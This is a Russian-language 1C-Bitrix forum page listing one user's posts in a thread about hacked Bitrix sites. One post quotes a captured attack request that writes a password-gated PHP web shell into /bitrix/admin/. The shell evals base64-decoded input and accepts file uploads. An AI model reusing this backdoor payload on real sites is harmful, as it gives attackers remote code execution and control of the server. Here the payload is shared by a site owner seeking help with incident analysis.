1С-Битрикс Разработчикам - Иван Петров (Все сообщения пользователя)

Иван Петров (Все сообщения пользователя)

Взломаны сайты в честь дня конституции украины

Заглянувший

Сообщений: 3 Регистрация: 26.02.2023

28.02.2023 10:21:04

Цитата
написал: Иван Петров, Это уже "вторичка". Надо искать пост который этот файл создал.

Ну вот такое нашел в логе за январь:

Скрытый текст

Перейти

Взломаны сайты в честь дня конституции украины

Пользователь 7075538

Заглянувший

Сообщений: 3 Регистрация: 26.02.2023

28.02.2023 05:28:19

Цитата
написал: а что за запросы? куда долбят?

https://dev.1c-bitrix.ru/support/forum/messages/forum6/topic147346/message725410/#message725410

Перейти

Взломаны сайты в честь дня конституции украины

Пользователь 7075538

Заглянувший

Сообщений: 3 Регистрация: 26.02.2023

26.02.2023 13:58:46

Цитата
написал: Есть ли у кого-то, кроме меня, проблема с тем, что в папку /bitrix/admin/ пишутся файлы из набора символов в названии

POST запрос прилетает:

Код

bitrixxx' => 'file_put_contents($_SERVER[\'DOCUMENT_ROOT\'].\'/bitrix/admin/3503a54cb17d.php\',\'<?=409723*20;if(md5($_COOKIE[d])==\x2217028f487cb2a84607646da3ad3878ec\x22){echo\x22ok\x22;eval(base64_decode($_REQUEST[id]));if($_POST[\x22up\x22]==\x22up\x22){@copy($_FILES[\x22file\x22][\x22tmp_name\x22],$_FILES[\x22file\x22][\x22name\x22]);}}?>\');'

Кроме этого еще два запроса POST передают BX_TOKEN и BX_STAT c хэшами.

Перейти

Иван Петров (Все сообщения пользователя)

Продукты

Управление сайтом

Битрикс24

Интернет-магазин + CRM

Решения

Для интернет-магазинов

Каталог готовых решений

Внедрение

Выбрать партнера

Проверить партнера

Стать партнером